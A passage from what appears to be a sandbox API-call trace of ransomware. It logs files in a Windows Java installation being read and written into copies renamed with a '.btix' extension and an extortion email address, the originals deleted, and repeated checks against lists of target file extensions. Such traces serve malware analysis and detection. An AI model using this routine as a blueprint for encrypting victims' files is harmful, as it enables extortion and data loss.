lpNumberOfBytesRead=0x350fecc*=0x4e5, lpOverlapped=0x0) returned 1 [0134.288] WriteFile (in: hFile=0x544, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0134.289] ReadFile (in: hFile=0x540, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0134.289] WriteFile (in: hFile=0x544, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xf6, lpOverlapped=0x0) returned 1 [0134.289] SetEndOfFile (hFile=0x544) returned 1 [0134.290] CloseHandle (hObject=0x544) returned 1 [0134.290] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.290] SetEndOfFile (hFile=0x540) returned 1 [0134.310] CloseHandle (hObject=0x540) returned 1 [0134.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0134.739] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs")) returned 1 [0134.740] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0134.740] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0134.740] lstrlenW (lpString=".doc") returned 4 [0134.740] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1 [0134.740] lstrlenW (lpString=".docx") returned 5 [0134.740] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1 [0134.740] lstrlenW (lpString=".pdf") returned 4 [0134.740] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1 [0134.740] lstrlenW (lpString=".xls") returned 4 [0134.740] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1 [0134.740] lstrlenW (lpString=".xlsx") returned 5 [0134.740] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1 [0134.740] lstrlenW (lpString=".ppt") returned 4 [0134.740] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1 [0134.740] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0134.740] lstrlenW (lpString=".zip") returned 4 [0134.740] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1 [0134.740] lstrlenW (lpString=".rar") returned 4 [0134.740] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1 [0134.740] lstrlenW (lpString=".bz2") returned 4 [0134.740] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1 [0134.740] lstrlenW (lpString=".7z") returned 3 [0134.740] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1 [0134.740] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0134.741] lstrlenW (lpString=".dbf") returned 4 [0134.741] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1 [0134.741] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0134.741] lstrlenW (lpString=".1cd") returned 4 [0134.741] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1 [0134.741] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0134.741] lstrlenW (lpString=".jpg") returned 4 [0134.741] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1 [0134.741] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0134.741] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0134.741] lstrlenW (lpString=".doc") returned 4 [0134.741] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1 [0134.741] lstrlenW (lpString=".docx") returned 5 [0134.741] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1 [0134.741] lstrlenW (lpString=".pdf") returned 4 [0134.741] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1 [0134.741] lstrlenW (lpString=".xls") returned 4 [0134.741] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1 [0134.741] lstrlenW (lpString=".xlsx") returned 5 [0134.741] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1 [0134.741] lstrlenW (lpString=".ppt") returned 4 [0134.741] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1 [0134.741] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0134.741] lstrlenW (lpString=".zip") returned 4 [0134.741] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1 [0134.741] lstrlenW (lpString=".rar") returned 4 [0134.741] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1 [0134.741] lstrlenW (lpString=".bz2") returned 4 [0134.741] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1 [0134.741] lstrlenW (lpString=".7z") returned 3 [0134.741] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1 [0134.741] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0134.741] lstrlenW (lpString=".dbf") returned 4 [0134.741] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1 [0134.742] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0134.742] lstrlenW (lpString=".1cd") returned 4 [0134.742] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1 [0134.742] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0134.742] lstrlenW (lpString=".jpg") returned 4 [0134.742] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1 [0134.742] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0134.742] lstrlenW (lpString="US_export_policy.jar") returned 20 [0134.742] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0134.864] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=3026) returned 1 [0134.864] CloseHandle (hObject=0x4c4) returned 1 [0134.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar")) returned 0x20 [0134.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0134.864] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0134.864] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.864] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.865] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0134.866] GetLastError () returned 0x0 [0134.866] ReadFile (in: hFile=0x4c4, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0xbd2, lpOverlapped=0x0) returned 1 [0134.867] WriteFile (in: hFile=0x54c, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xbe0, lpOverlapped=0x0) returned 1 [0134.868] ReadFile (in: hFile=0x4c4, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0134.868] WriteFile (in: hFile=0x54c, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xfc, lpOverlapped=0x0) returned 1 [0134.868] SetEndOfFile (hFile=0x54c) returned 1 [0134.868] CloseHandle (hObject=0x54c) returned 1 [0134.868] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.868] SetEndOfFile (hFile=0x4c4) returned 1 [0134.870] CloseHandle (hObject=0x4c4) returned 1 [0134.870] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0134.871] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar")) returned 1 [0134.871] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0134.871] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0134.871] lstrlenW (lpString=".doc") returned 4 [0134.871] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0134.871] lstrlenW (lpString=".docx") returned 5 [0134.871] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0134.871] lstrlenW (lpString=".pdf") returned 4 [0134.871] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0134.871] lstrlenW (lpString=".xls") returned 4 [0134.871] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0134.871] lstrlenW (lpString=".xlsx") returned 5 [0134.871] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0134.871] lstrlenW (lpString=".ppt") returned 4 [0134.871] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0134.872] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0134.872] lstrlenW (lpString=".zip") returned 4 [0134.872] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0134.872] lstrlenW (lpString=".rar") returned 4 [0134.872] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0134.872] lstrlenW (lpString=".bz2") returned 4 [0134.872] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0134.872] lstrlenW (lpString=".7z") returned 3 [0134.872] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0134.872] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0134.872] lstrlenW (lpString=".dbf") returned 4 [0134.872] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0134.872] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0134.872] lstrlenW (lpString=".1cd") returned 4 [0134.872] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0134.872] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0134.872] lstrlenW (lpString=".jpg") returned 4 [0134.872] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0134.873] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0134.873] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0134.873] lstrlenW (lpString=".doc") returned 4 [0134.873] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0134.873] lstrlenW (lpString=".docx") returned 5 [0134.873] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0134.873] lstrlenW (lpString=".pdf") returned 4 [0134.873] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0134.873] lstrlenW (lpString=".xls") returned 4 [0134.873] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0134.873] lstrlenW (lpString=".xlsx") returned 5 [0134.873] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0134.873] lstrlenW (lpString=".ppt") returned 4 [0134.873] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0134.873] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0134.873] lstrlenW (lpString=".zip") returned 4 [0134.873] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0134.873] lstrlenW (lpString=".rar") returned 4 [0134.873] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0134.873] lstrlenW (lpString=".bz2") returned 4 [0134.873] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0134.873] lstrlenW (lpString=".7z") returned 3 [0134.873] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0134.873] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0134.873] lstrlenW (lpString=".dbf") returned 4 [0134.873] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0134.873] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0134.873] lstrlenW (lpString=".1cd") returned 4 [0134.873] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0134.873] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0134.873] lstrlenW (lpString=".jpg") returned 4 [0134.873] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0134.874] lstrcmpiW (lpString1=".properties", lpString2=".btix") returned 1 [0134.874] lstrlenW (lpString="sound.properties") returned 16 [0134.874] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0134.874] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=1210) returned 1 [0134.874] CloseHandle (hObject=0x4c4) returned 1 [0134.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties")) returned 0x20 [0134.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0134.875] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0134.875] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.875] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.875] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0134.875] GetLastError () returned 0x0 [0134.876] ReadFile (in: hFile=0x4c4, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x4ba, lpOverlapped=0x0) returned 1 [0134.887] WriteFile (in: hFile=0x54c, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x4c0, lpOverlapped=0x0) returned 1 [0134.888] ReadFile (in: hFile=0x4c4, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0134.888] WriteFile (in: hFile=0x54c, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xf4, lpOverlapped=0x0) returned 1 [0134.888] SetEndOfFile (hFile=0x54c) returned 1 [0134.888] CloseHandle (hObject=0x54c) returned 1 [0134.888] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.888] SetEndOfFile (hFile=0x4c4) returned 1 [0134.890] CloseHandle (hObject=0x4c4) returned 1 [0134.891] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0134.891] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties")) returned 1 [0134.892] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0134.892] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0134.892] lstrlenW (lpString=".doc") returned 4 [0134.892] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0134.892] lstrlenW (lpString=".docx") returned 5 [0134.892] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0134.892] lstrlenW (lpString=".pdf") returned 4 [0134.892] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0134.892] lstrlenW (lpString=".xls") returned 4 [0134.892] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0134.892] lstrlenW (lpString=".xlsx") returned 5 [0134.892] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0134.892] lstrlenW (lpString=".ppt") returned 4 [0134.892] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0134.892] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0134.892] lstrlenW (lpString=".zip") returned 4 [0134.892] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0134.892] lstrlenW (lpString=".rar") returned 4 [0134.892] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0134.892] lstrlenW (lpString=".bz2") returned 4 [0134.892] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0134.892] lstrlenW (lpString=".7z") returned 3 [0134.892] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0134.892] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0134.892] lstrlenW (lpString=".dbf") returned 4 [0134.892] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0134.892] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0134.892] lstrlenW (lpString=".1cd") returned 4 [0134.892] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0134.892] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0134.892] lstrlenW (lpString=".jpg") returned 4 [0134.892] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0134.893] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0134.893] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0134.893] lstrlenW (lpString=".doc") returned 4 [0134.893] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0134.893] lstrlenW (lpString=".docx") returned 5 [0134.893] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0134.893] lstrlenW (lpString=".pdf") returned 4 [0134.893] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0134.893] lstrlenW (lpString=".xls") returned 4 [0134.893] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0134.893] lstrlenW (lpString=".xlsx") returned 5 [0134.893] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0134.893] lstrlenW (lpString=".ppt") returned 4 [0134.893] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0134.893] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0134.893] lstrlenW (lpString=".zip") returned 4 [0134.893] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0134.893] lstrlenW (lpString=".rar") returned 4 [0134.893] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0134.893] lstrlenW (lpString=".bz2") returned 4 [0134.893] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0134.893] lstrlenW (lpString=".7z") returned 3 [0134.893] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0134.893] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0134.893] lstrlenW (lpString=".dbf") returned 4 [0134.893] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0134.893] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0134.893] lstrlenW (lpString=".1cd") returned 4 [0134.893] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0134.893] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0134.893] lstrlenW (lpString=".jpg") returned 4 [0134.893] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0134.894] lstrcmpiW (lpString1=".0_144\\lib\\tzmappings", lpString2=".btix") returned -1 [0134.894] lstrlenW (lpString="tzmappings") returned 10 [0134.894] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0134.894] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=8400) returned 1 [0134.894] CloseHandle (hObject=0x4c4) returned 1 [0134.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings")) returned 0x20 [0134.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0134.895] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0134.895] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.895] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.895] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0134.895] GetLastError () returned 0x0 [0134.895] ReadFile (in: hFile=0x4c4, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x20d0, lpOverlapped=0x0) returned 1 [0134.909] WriteFile (in: hFile=0x54c, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x20e0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x20e0, lpOverlapped=0x0) returned 1 [0134.909] ReadFile (in: hFile=0x4c4, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0134.909] WriteFile (in: hFile=0x54c, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xe8, lpOverlapped=0x0) returned 1 [0134.910] SetEndOfFile (hFile=0x54c) returned 1 [0134.910] CloseHandle (hObject=0x54c) returned 1 [0134.910] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.910] SetEndOfFile (hFile=0x4c4) returned 1 [0134.912] CloseHandle (hObject=0x4c4) returned 1 [0134.912] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0134.912] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings")) returned 1 [0134.913] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0134.913] lstrlenW 